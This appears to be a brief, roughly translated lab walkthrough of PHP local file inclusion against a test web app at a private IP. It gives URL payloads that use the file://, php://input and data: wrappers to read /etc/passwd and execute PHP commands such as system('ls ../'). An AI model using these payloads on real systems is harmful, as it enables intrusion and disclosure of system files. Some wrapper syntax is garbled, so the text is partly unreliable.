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You can see that there is file Keywords can be used for php Fake protocol ：

Use file Pseudo protocol view /etc/passwd

?file=file:///etc/passwd

http://192.168.129.128:83/vulnerabilities/fu1.php?file=file:///etc/passwd

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Use php://input Pseudo protocol to view ls /

?file=php:input


（Post Data）
<?php phpinfo()?>

http://192.168.129.128:83/vulnerabilities/fu1.php?file=php://input

<?php system('ls ../');?>

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Use data Fake protocol ：

?file=data:,<?php phpinfo()?>

?file=data:,<?php system(ls ../)?>

http://192.168.129.128:83/vulnerabilities/fu1.php?file=data:,<?php phpinfo()?>